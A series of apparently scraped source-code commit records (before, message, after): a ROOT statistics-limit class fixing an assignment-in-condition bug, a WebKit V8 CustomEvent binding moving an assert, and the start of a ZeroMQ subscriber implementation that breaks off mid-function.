(fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n if ((s > 0) && (b > 0))\n lrs[i] += statistic(s, b, rand) - s;\n else if ((s > 0) && (b = 0))\n lrs[i] += 20 * rand - s;\n \/\/ b hypothesis\n rate = (Double_t) ((TH1F *) (fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n rand = myrandom->Poisson(rate);\n tsb[i] += rand * fgTable->At((channel * maxbins) + bin);\n if ((s > 0) && (b > 0))\n lrb[i] += statistic(s, b, rand) - s;\n else if ((s > 0) && (b = 0))\n lrb[i] += 20 * rand - s;\n }\n }\n }\n lrs[i] = TMath::Exp(lrs[i]);\n lrb[i] = TMath::Exp(lrb[i]);\n if (data != fluctuated)\n delete fluctuated;\n }\n \/\/ lrs and lrb are the LR's (no logs) = prob(s+b)\/prob(b) for\n \/\/ that choice of s and b within syst. errors in the ensemble. These are\n \/\/ the MC experiment weights for relating the s+b and b PDF's of the unsmeared\n \/\/ test statistic (in which cas one can use another test statistic if one likes).\n\n \/\/ Now produce the output object.\n \/\/ The final quantities are computed on-demand form the arrays tss, tsb, lrs and lrb.\n result->SetTSS(tss);\n result->SetTSB(tsb);\n result->SetLRS(lrs);\n result->SetLRB(lrb);\n if (!generator)\n delete myrandom;\n return result;\n}\n\nTLimitDataSource *TLimit::Fluctuate(TLimitDataSource * input, bool init,\n TRandom * generator)\n{\n \/\/ initialisation: create a sorted list of all the names of systematics\n if (init) {\n \/\/ create a \"map\" with the systematics names\n TIterator *errornames = input->GetErrorNames()->MakeIterator();\n TObjArray *listofnames = 0;\n while ((listofnames = ((TObjArray *) errornames->Next()))) {\n TObjString *name = NULL;\n TIterator *loniter = listofnames->MakeIterator();\n while ((name = (TObjString *) (loniter->Next())))\n if ((fgSystNames->IndexOf(name)) < 0)\n fgSystNames->AddLast(name);\n }\n fgSystNames->Sort();\n }\n \/\/ if there are no systematics, just returns the input as \"fluctuated\" output\n if (fgSystNames->GetSize() <= 0)\n return input;\n \/\/ Find a choice for the random variation and\n \/\/ re-toss all random numbers if any background or signal\n \/\/ goes negative. (background = 0 is bad too, so put a little protection\n \/\/ around it -- must have at least 10% of the bg estimate).\n bool retoss = kTRUE;\n Double_t *serrf = NULL;\n Double_t *berrf = NULL;\n do {\n Double_t *toss = new Double_t[fgSystNames->GetSize()];\n for (Int_t i = 0; i < fgSystNames->GetSize(); i++)\n toss[i] = generator->Gaus(0, 1);\n retoss = kFALSE;\n serrf = new Double_t[(input->GetSignal()->GetLast()) + 1];\n berrf = new Double_t[(input->GetSignal()->GetLast()) + 1];\n for (Int_t channel = 0; \n channel <= input->GetSignal()->GetLast();\n channel++) {\n serrf[channel] = 0;\n berrf[channel] = 0;\n for (Int_t bin = 0;\n bin <=((TH1F *) (input->GetErrorOnSignal()->At(channel)))->GetNbinsX(); \n\t bin++) {\n serrf[channel] += ((TH1F *) (input->GetErrorOnSignal()->At(channel)))->GetBinContent(bin) *\n toss[fgSystNames->BinarySearch((TObjString*) (((TObjArray *) (input->GetErrorNames()->At(channel)))->At(bin)))];\n berrf[channel] += ((TH1F *) (input->GetErrorOnBackground()->At(channel)))->GetBinContent(bin) *\n toss[fgSystNames->BinarySearch((TObjString*) (((TObjArray *) (input->GetErrorNames()->At(channel)))->At(bin)))];\n }\n if ((serrf[channel] < -1.0) || (berrf[channel] < -0.9)) {\n retoss = kTRUE;\n continue;\n }\n }\n delete[]toss;\n } while (retoss);\n \/\/ adjust the fluctuated signal and background counts with a legal set\n \/\/ of random fluctuations above.\n TLimitDataSource *result = new TLimitDataSource();\n result->SetOwner();\n for (Int_t channel = 0; channel <= input->GetSignal()->GetLast();\n channel++) {\n TH1F *newsignal = new TH1F(*(TH1F *) (input->GetSignal()->At(channel)));\n newsignal->Scale(1 + serrf[channel]);\n newsignal->SetDirectory(0);\n TH1F *newbackground = new TH1F(*(TH1F *) (input->GetBackground()->At(channel)));\n newbackground->Scale(1 + berrf[channel]);\n newbackground->SetDirectory(0);\n TH1F *newcandidates = new TH1F(*(TH1F *) (input->GetCandidates()));\n newcandidates->SetDirectory(0);\n result->AddChannel(newsignal, newbackground, newcandidates);\n }\n delete[] serrf;\n delete[] berrf;\n return result;\n}\n\n<commit_msg>change (b = 0) to (b == 0) in if statement.<commit_after>\/\/ @(#)root\/hist:$Name: $:$Id: TLimit.cxx,v 1.3 2002\/09\/06 21:41:23 brun Exp $\n\/\/ Author: Christophe.Delaere@cern.ch 21\/08\/2002\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ TLimit\n\/\/\n\/\/ Class to compute 95% CL limits\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*************************************************************************\n * C.Delaere *\n * adapted from the mclimit code from Tom Junk *\n * see http:\/\/cern.ch\/thomasj\/searchlimits\/ecl.html *\n *************************************************************************\/\n\n#include \"TLimit.h\"\n#include \"TArrayF.h\"\n#include \"TOrdCollection.h\"\n#include \"TConfidenceLevel.h\"\n#include \"TLimitDataSource.h\"\n#include \"TRandom3.h\"\n#include \"TH1.h\"\n#include \"TObjArray.h\"\n#include \"TMath.h\"\n#include \"TIterator.h\"\n#include \"TObjString.h\"\n#include \"TClassTable.h\"\n#include \"Riostream.h\"\n\nClassImp(TLimit)\n\nTArrayF *TLimit::fgTable = new TArrayF(0);\nTOrdCollection *TLimit::fgSystNames = new TOrdCollection();\n\nTConfidenceLevel *TLimit::ComputeLimit(TLimitDataSource * data,\n Int_t nmc, TRandom * generator,\n Double_t(*statistic) (Double_t,\n Double_t,\n Double_t))\n{\n \/\/ class TLimit\n \/\/ ------------\n \/\/\n \/\/ Algorithm to compute 95% C.L. limits using the Likelihood ratio\n \/\/ semi-bayesian method.\n \/\/ It takes signal, background and data histograms wrapped in a\n \/\/ TLimitDataSource as input and runs a set of Monte Carlo experiments in\n \/\/ order to compute the limits. If needed, inputs are fluctuated according\n \/\/ to systematics. The output is a TConfidenceLevel.\n \/\/\n \/\/ class TLimitDataSource\n \/\/ ----------------------\n \/\/\n \/\/ Takes the signal, background and data histograms as well as different\n \/\/ systematics sources to form the TLimit input.\n \/\/\n \/\/ class TConfidenceLevel\n \/\/ ----------------------\n \/\/\n \/\/ Final result of the TLimit algorithm. It is created just after the\n \/\/ time-consuming part and can be stored in a TFile for further processing.\n \/\/ It contains light methods to return CLs, CLb and other interesting\n \/\/ quantities.\n \/\/\n \/\/ The actual algorithm...\n \/\/ From an input (TLimitDataSource) it produces an output TConfidenceLevel.\n \/\/ For this, nmc Monte Carlo experiments are performed.\n \/\/ As usual, the larger this number, the longer the compute time,\n \/\/ but the better the result.\n \/\/Begin_Html\n \/*\n <FONT SIZE=+0>\n <p>Supposing that there is a plotfile.root file containing 3 histograms\n (signal, background and data), you can imagine doing things like:<\/p>\n <p>\n <BLOCKQUOTE><PRE>\n TFile* infile=new TFile(\"plotfile.root\",\"READ\");\n infile->cd();\n TH1F* sh=(TH1F*)infile->Get(\"signal\");\n TH1F* bh=(TH1F*)infile->Get(\"background\");\n TH1F* dh=(TH1F*)infile->Get(\"data\");\n TLimitDataSource* mydatasource = new TLimitDataSource(sh,bh,dh);\n TConfidenceLevel *myconfidence = TLimit::ComputeLimit(mydatasource,50000);\n cout << \" CLs : \" << myconfidence->CLs() << endl;\n cout << \" CLsb : \" << myconfidence->CLsb() << endl;\n cout << \" CLb : \" << myconfidence->CLb() << endl;\n cout << \"< CLs > : \" << myconfidence->GetExpectedCLs_b() << endl;\n cout << \"< CLsb > : \" << myconfidence->GetExpectedCLsb_b() << endl;\n cout << \"< CLb > : \" << myconfidence->GetExpectedCLb_b() << endl;\n delete myconfidence;\n delete mydatasource;\n infile->Close();\n <\/PRE><\/BLOCKQUOTE><\/p>\n <p><\/p>\n <p>More informations can still be found on\n <a HREF=\"http:\/\/cern.ch\/aleph-proj-alphapp\/doc\/tlimit.html\">this<\/a> page.<\/p>\n <\/FONT>\n *\/\n \/\/End_Html\n\n \/\/ The final object returned...\n TConfidenceLevel *result = new TConfidenceLevel(nmc);\n \/\/ The random generator used...\n TRandom *myrandom = generator ? generator : new TRandom3;\n \/\/ Compute some total quantities on all the channels\n Int_t nbins = 0;\n Int_t maxbins = 0;\n Double_t nsig = 0;\n Double_t nbg = 0;\n Int_t ncand = 0;\n Int_t i;\n for (i = 0; i <= data->GetSignal()->GetLast(); i++) {\n nbins += ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX();\n maxbins = ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX() > maxbins ?\n\t ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX() + 1 : maxbins;\n nsig += ((TH1F *) (data->GetSignal()->At(i)))->Integral();\n nbg += ((TH1F *) (data->GetBackground()->At(i)))->Integral();\n ncand += (Int_t) ((TH1F *) (data->GetCandidates()->At(i)))->Integral();\n }\n result->SetBtot(nbg);\n result->SetStot(nsig);\n result->SetDtot(ncand);\n Double_t buffer = 0;\n fgTable->Set(maxbins * (data->GetSignal()->GetLast() + 1));\n for (Int_t channel = 0; channel <= data->GetSignal()->GetLast(); channel++)\n for (Int_t bin = 0;\n bin <= ((TH1F *) (data->GetSignal()->At(channel)))->GetNbinsX();\n bin++) {\n Double_t s = (Double_t) ((TH1F *) (data->GetSignal()->At(channel)))->GetBinContent(bin);\n Double_t b = (Double_t) ((TH1F *) (data->GetBackground()->At(channel)))->GetBinContent(bin);\n Double_t d = (Double_t) ((TH1F *) (data->GetCandidates()->At(channel)))->GetBinContent(bin);\n \/\/ Compute the value of the \"-2lnQ\" for the actual data\n if ((b == 0) && (s > 0)) {\n cout << \"WARNING: Ignoring bin \" << bin << \" of channel \"\n << channel << \" which has s=\" << s << \" but b=\" << b << endl;\n cout << \" Maybe the MC statistic has to be improved...\" << endl;\n }\n if ((s > 0) && (b > 0))\n buffer += statistic(s, b, d);\n \/\/ precompute the log(1+s\/b)'s in an array to speed up computation\n \/\/ background-free bins are set to have a maximum t.s. value\n \/\/ for protection (corresponding to s\/b of about 5E8)\n if ((s > 0) && (b > 0))\n fgTable->AddAt(statistic(s, b, 1), (channel * maxbins) + bin);\n else if ((s > 0) && (b == 0))\n fgTable->AddAt(20, (channel * maxbins) + bin);\n }\n result->SetTSD(buffer);\n \/\/ accumulate MC experiments. Hold the test statistic function fixed, but\n \/\/ fluctuate s and b within syst. errors for computing probabilities of\n \/\/ having that outcome. (Alex Read's prescription -- errors are on the ensemble,\n \/\/ not on the observed test statistic. This technique does not split outcomes.)\n \/\/ keep the tstats as sum log(1+s\/b). convert to -2lnQ when preparing the results\n \/\/ (reason -- like to keep the < signs right)\n Double_t *tss = new Double_t[nmc];\n Double_t *tsb = new Double_t[nmc];\n Double_t *lrs = new Double_t[nmc];\n Double_t *lrb = new Double_t[nmc];\n for (i = 0; i < nmc; i++) {\n tss[i] = 0;\n tsb[i] = 0;\n lrs[i] = 0;\n lrb[i] = 0;\n \/\/ fluctuate signal and background\n TLimitDataSource *fluctuated = Fluctuate(data, !i, myrandom);\n for (Int_t channel = 0;\n channel <= fluctuated->GetSignal()->GetLast(); channel++) {\n for (Int_t bin = 0;\n bin <=((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetNbinsX();\n bin++) {\n if ((Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin) != 0) {\n \/\/ s+b hypothesis\n Double_t rate = (Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin) +\n (Double_t) ((TH1F *) (fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n Double_t rand = myrandom->Poisson(rate);\n tss[i] += rand * fgTable->At((channel * maxbins) + bin);\n Double_t s = (Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin);\n Double_t b = (Double_t) ((TH1F *) (fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n if ((s > 0) && (b > 0))\n lrs[i] += statistic(s, b, rand) - s;\n else if ((s > 0) && (b == 0))\n lrs[i] += 20 * rand - s;\n \/\/ b hypothesis\n rate = (Double_t) ((TH1F *) (fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n rand = myrandom->Poisson(rate);\n tsb[i] += rand * fgTable->At((channel * maxbins) + bin);\n if ((s > 0) && (b > 0))\n lrb[i] += statistic(s, b, rand) - s;\n else if ((s > 0) && (b == 0))\n lrb[i] += 20 * rand - s;\n }\n }\n }\n lrs[i] = TMath::Exp(lrs[i]);\n lrb[i] = TMath::Exp(lrb[i]);\n if (data != fluctuated)\n delete fluctuated;\n }\n \/\/ lrs and lrb are the LR's (no logs) = prob(s+b)\/prob(b) for\n \/\/ that choice of s and b within syst. errors in the ensemble. These are\n \/\/ the MC experiment weights for relating the s+b and b PDF's of the unsmeared\n \/\/ test statistic (in which cas one can use another test statistic if one likes).\n\n \/\/ Now produce the output object.\n \/\/ The final quantities are computed on-demand form the arrays tss, tsb, lrs and lrb.\n result->SetTSS(tss);\n result->SetTSB(tsb);\n result->SetLRS(lrs);\n result->SetLRB(lrb);\n if (!generator)\n delete myrandom;\n return result;\n}\n\nTLimitDataSource *TLimit::Fluctuate(TLimitDataSource * input, bool init,\n TRandom * generator)\n{\n \/\/ initialisation: create a sorted list of all the names of systematics\n if (init) {\n \/\/ create a \"map\" with the systematics names\n TIterator *errornames = input->GetErrorNames()->MakeIterator();\n TObjArray *listofnames = 0;\n while ((listofnames = ((TObjArray *) errornames->Next()))) {\n TObjString *name = NULL;\n TIterator *loniter = listofnames->MakeIterator();\n while ((name = (TObjString *) (loniter->Next())))\n if ((fgSystNames->IndexOf(name)) < 0)\n fgSystNames->AddLast(name);\n }\n fgSystNames->Sort();\n }\n \/\/ if there are no systematics, just returns the input as \"fluctuated\" output\n if (fgSystNames->GetSize() <= 0)\n return input;\n \/\/ Find a choice for the random variation and\n \/\/ re-toss all random numbers if any background or signal\n \/\/ goes negative. (background = 0 is bad too, so put a little protection\n \/\/ around it -- must have at least 10% of the bg estimate).\n bool retoss = kTRUE;\n Double_t *serrf = NULL;\n Double_t *berrf = NULL;\n do {\n Double_t *toss = new Double_t[fgSystNames->GetSize()];\n for (Int_t i = 0; i < fgSystNames->GetSize(); i++)\n toss[i] = generator->Gaus(0, 1);\n retoss = kFALSE;\n serrf = new Double_t[(input->GetSignal()->GetLast()) + 1];\n berrf = new Double_t[(input->GetSignal()->GetLast()) + 1];\n for (Int_t channel = 0;\n channel <= input->GetSignal()->GetLast();\n channel++) {\n serrf[channel] = 0;\n berrf[channel] = 0;\n for (Int_t bin = 0;\n bin <=((TH1F *) (input->GetErrorOnSignal()->At(channel)))->GetNbinsX();\n\t bin++) {\n serrf[channel] += ((TH1F *) (input->GetErrorOnSignal()->At(channel)))->GetBinContent(bin) *\n toss[fgSystNames->BinarySearch((TObjString*) (((TObjArray *) (input->GetErrorNames()->At(channel)))->At(bin)))];\n berrf[channel] += ((TH1F *) (input->GetErrorOnBackground()->At(channel)))->GetBinContent(bin) *\n toss[fgSystNames->BinarySearch((TObjString*) (((TObjArray *) (input->GetErrorNames()->At(channel)))->At(bin)))];\n }\n if ((serrf[channel] < -1.0) || (berrf[channel] < -0.9)) {\n retoss = kTRUE;\n continue;\n }\n }\n delete[]toss;\n } while (retoss);\n \/\/ adjust the fluctuated signal and background counts with a legal set\n \/\/ of random fluctuations above.\n TLimitDataSource *result = new TLimitDataSource();\n result->SetOwner();\n for (Int_t channel = 0; channel <= input->GetSignal()->GetLast();\n channel++) {\n TH1F *newsignal = new TH1F(*(TH1F *) (input->GetSignal()->At(channel)));\n newsignal->Scale(1 + serrf[channel]);\n newsignal->SetDirectory(0);\n TH1F *newbackground = new TH1F(*(TH1F *) (input->GetBackground()->At(channel)));\n newbackground->Scale(1 + berrf[channel]);\n newbackground->SetDirectory(0);\n TH1F *newcandidates = new TH1F(*(TH1F *) (input->GetCandidates()));\n newcandidates->SetDirectory(0);\n result->AddChannel(newsignal, newbackground, newcandidates);\n }\n delete[] serrf;\n delete[] berrf;\n return result;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2012 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"V8CustomEvent.h\"\n\n#include \"V8Event.h\"\n#include \"bindings\/v8\/Dictionary.h\"\n#include \"bindings\/v8\/ScriptState.h\"\n#include \"bindings\/v8\/ScriptValue.h\"\n#include \"bindings\/v8\/V8Binding.h\"\n#include \"bindings\/v8\/V8DOMWrapper.h\"\n#include \"bindings\/v8\/V8HiddenPropertyName.h\"\n#include \"core\/dom\/ContextFeatures.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"core\/page\/Frame.h\"\n#include \"RuntimeEnabledFeatures.h\"\n\nnamespace WebCore {\n\nstatic v8::Handle<v8::Value> cacheState(v8::Handle<v8::Object> customEvent, v8::Handle<v8::Value> detail)\n{\n customEvent->SetHiddenValue(V8HiddenPropertyName::detail(), detail);\n return detail;\n}\n\n\nvoid V8CustomEvent::detailAttrGetterCustom(v8::Local<v8::String> name, const v8::PropertyCallbackInfo<v8::Value>& info)\n{\n CustomEvent* event = V8CustomEvent::toNative(info.Holder());\n ASSERT(!event->serializedScriptValue().get());\n\n v8::Handle<v8::Value> result = info.Holder()->GetHiddenValue(V8HiddenPropertyName::detail());\n\n if (!result.IsEmpty()) {\n v8SetReturnValue(info, result);\n return;\n }\n\n RefPtr<SerializedScriptValue> serialized = event->serializedScriptValue();\n if (serialized) {\n result = serialized->deserialize();\n v8SetReturnValue(info, cacheState(info.Holder(), result));\n return;\n }\n\n v8SetReturnValue(info, cacheState(info.Holder(), v8::Null(info.GetIsolate())));\n}\n\nvoid V8CustomEvent::initCustomEventMethodCustom(const v8::FunctionCallbackInfo<v8::Value>& args)\n{\n CustomEvent* event = V8CustomEvent::toNative(args.Holder());\n\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, typeArg, args[0]);\n V8TRYCATCH_VOID(bool, canBubbleArg, args[1]->BooleanValue());\n V8TRYCATCH_VOID(bool, cancelableArg, args[2]->BooleanValue());\n v8::Handle<v8::Value> detailsArg = args[3];\n\n args.Holder()->SetHiddenValue(V8HiddenPropertyName::detail(), detailsArg);\n event->initEvent(typeArg, canBubbleArg, cancelableArg);\n}\n\n} \/\/ namespace WebCore\n<commit_msg>Moved broken assert in CustomEvent from detail getter to init. Assert was hit in browser_test WebViewTest.IndexedDBIsolation.<commit_after>\/*\n * Copyright (C) 2012 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"V8CustomEvent.h\"\n\n#include \"V8Event.h\"\n#include \"bindings\/v8\/Dictionary.h\"\n#include \"bindings\/v8\/ScriptState.h\"\n#include \"bindings\/v8\/ScriptValue.h\"\n#include \"bindings\/v8\/V8Binding.h\"\n#include \"bindings\/v8\/V8DOMWrapper.h\"\n#include \"bindings\/v8\/V8HiddenPropertyName.h\"\n#include \"core\/dom\/ContextFeatures.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"core\/page\/Frame.h\"\n#include \"RuntimeEnabledFeatures.h\"\n\nnamespace WebCore {\n\nstatic v8::Handle<v8::Value> cacheState(v8::Handle<v8::Object> customEvent, v8::Handle<v8::Value> detail)\n{\n customEvent->SetHiddenValue(V8HiddenPropertyName::detail(), detail);\n return detail;\n}\n\n\nvoid V8CustomEvent::detailAttrGetterCustom(v8::Local<v8::String> name, const v8::PropertyCallbackInfo<v8::Value>& info)\n{\n CustomEvent* event = V8CustomEvent::toNative(info.Holder());\n\n v8::Handle<v8::Value> result = info.Holder()->GetHiddenValue(V8HiddenPropertyName::detail());\n\n if (!result.IsEmpty()) {\n v8SetReturnValue(info, result);\n return;\n }\n\n RefPtr<SerializedScriptValue> serialized = event->serializedScriptValue();\n if (serialized) {\n result = serialized->deserialize();\n v8SetReturnValue(info, cacheState(info.Holder(), result));\n return;\n }\n\n v8SetReturnValue(info, cacheState(info.Holder(), v8::Null(info.GetIsolate())));\n}\n\nvoid V8CustomEvent::initCustomEventMethodCustom(const v8::FunctionCallbackInfo<v8::Value>& args)\n{\n CustomEvent* event = V8CustomEvent::toNative(args.Holder());\n ASSERT(!event->serializedScriptValue());\n\n V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<>, typeArg, args[0]);\n V8TRYCATCH_VOID(bool, canBubbleArg, args[1]->BooleanValue());\n V8TRYCATCH_VOID(bool, cancelableArg, args[2]->BooleanValue());\n v8::Handle<v8::Value> detailsArg = args[3];\n\n args.Holder()->SetHiddenValue(V8HiddenPropertyName::detail(), detailsArg);\n event->initEvent(typeArg, canBubbleArg, cancelableArg);\n}\n\n} \/\/ namespace WebCore\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file\n * @author 2012 Stefan Radomski (stefan.radomski@cs.tu-darmstadt.de)\n * @copyright Simplified BSD\n *\n * @cond\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the FreeBSD license as published by the FreeBSD\n * project.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * You should have received a copy of the FreeBSD license along with this\n * program. If not, see <http:\/\/www.opensource.org\/licenses\/bsd-license>.\n * @endcond\n *\/\n\n#include \"umundo\/connection\/zeromq\/ZeroMQNode.h\"\n\n#include \"umundo\/connection\/Publisher.h\"\n#include \"umundo\/common\/Message.h\"\n#include \"umundo\/common\/UUID.h\"\n\n\/\/ include order matters with MSVC ...\n#include \"umundo\/connection\/zeromq\/ZeroMQSubscriber.h\"\n\n#include \"umundo\/config.h\"\n#if defined UNIX || defined IOS || defined IOSSIM\n#include <stdio.h> \/\/ snprintf\n#endif\n\nnamespace umundo {\n\nshared_ptr<Implementation> ZeroMQSubscriber::create(void*) {\n\tshared_ptr<Implementation> instance(new ZeroMQSubscriber());\n\treturn instance;\n}\n\nvoid ZeroMQSubscriber::destroy() {\n\tdelete(this);\n}\n\nZeroMQSubscriber::ZeroMQSubscriber() {\n}\n\nZeroMQSubscriber::~ZeroMQSubscriber() {\n\tLOG_INFO(\"deleting subscriber for %s\", _channelName.c_str());\n\tjoin();\n\tzmq_close(_closer) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\tzmq_close(_socket) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n}\n\nvoid ZeroMQSubscriber::init(shared_ptr<Configuration> config) {\n\t_config = boost::static_pointer_cast<SubscriberConfig>(config);\n\t_uuid = (_uuid.length() > 0 ? _uuid : UUID::getUUID());\n\tassert(_uuid.length() == 36);\n\n\tvoid* ctx = ZeroMQNode::getZeroMQContext();\n\t(_socket = zmq_socket(ctx, ZMQ_SUB)) || LOG_WARN(\"zmq_socket: %s\",zmq_strerror(errno));\n\t(_closer = zmq_socket(ctx, ZMQ_PUB)) || LOG_WARN(\"zmq_socket: %s\",zmq_strerror(errno));\n\n\tassert(_channelName.size() > 0);\n\tint hwm = NET_ZEROMQ_RCV_HWM;\n\tzmq_setsockopt(_socket, ZMQ_RCVHWM, &hwm, sizeof(hwm)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt(_socket, ZMQ_IDENTITY, _uuid.c_str(), _uuid.length()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt(_socket, ZMQ_SUBSCRIBE, _channelName.c_str(), _channelName.size()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tLOG_DEBUG(\"Subscribing to %s\", _channelName.c_str());\n\tzmq_setsockopt(_socket, ZMQ_SUBSCRIBE, _uuid.c_str(), _uuid.size()) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tLOG_DEBUG(\"Subscribing to %s\", SHORT_UUID(_uuid).c_str());\n\n\t\/\/ reconnection intervals\n\tint reconnect_ivl_min = 100;\n\tint reconnect_ivl_max = 200;\n\tzmq_setsockopt (_socket, ZMQ_RECONNECT_IVL, &reconnect_ivl_min, sizeof(int)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\tzmq_setsockopt (_socket, ZMQ_RECONNECT_IVL_MAX, &reconnect_ivl_max, sizeof(int)) && LOG_WARN(\"zmq_setsockopt: %s\",zmq_strerror(errno));\n\n\t\/\/ make sure we can close the socket later\n\tstd::stringstream ss;\n\tss << \"inproc:\/\/\" << _uuid;\n\tzmq_bind(_closer, ss.str().c_str()) && LOG_WARN(\"zmq_bind: %s\",zmq_strerror(errno));\n\tzmq_connect(_socket, ss.str().c_str()) && LOG_WARN(\"zmq_connect: %s\",zmq_strerror(errno));\n\n\tLOG_INFO(\"creating subscriber for %s\", _channelName.c_str());\n\tstart();\n}\n\n\/**\n * Break blocking zmq_recvmsg in ZeroMQSubscriber::run.\n *\/\nvoid ZeroMQSubscriber::join() {\n\tUMUNDO_LOCK(_mutex);\n\tstop();\n\n\t\/\/ this is a hack .. the thread is blocking at zmq_recvmsg - unblock by sending a message\n\tzmq_msg_t channelEnvlp;\n\tZMQ_PREPARE_STRING(channelEnvlp, _channelName.c_str(), _channelName.size());\n\n\tzmq_sendmsg(_closer, &channelEnvlp, 0) >= 0 || LOG_WARN(\"zmq_sendmsg: %s\",zmq_strerror(errno));\n\tzmq_msg_close(&channelEnvlp) && LOG_WARN(\"zmq_msg_close: %s\",zmq_strerror(errno));\n\n\tThread::join();\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::suspend() {\n\tUMUNDO_LOCK(_mutex);\n\tif (_isSuspended) {\n\t\tUMUNDO_UNLOCK(_mutex);\n\t\treturn;\n\t}\n\t_isSuspended = true;\n\tstop();\n\tjoin();\n\n\t_connections.clear();\n\tzmq_close(_closer) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\tzmq_close(_socket) && LOG_WARN(\"zmq_close: %s\",zmq_strerror(errno));\n\n\tUMUNDO_UNLOCK(_mutex);\n}\n\nvoid ZeroMQSubscriber::resume() {\n\tUMUNDO_LOCK(_mutex);\n\tif 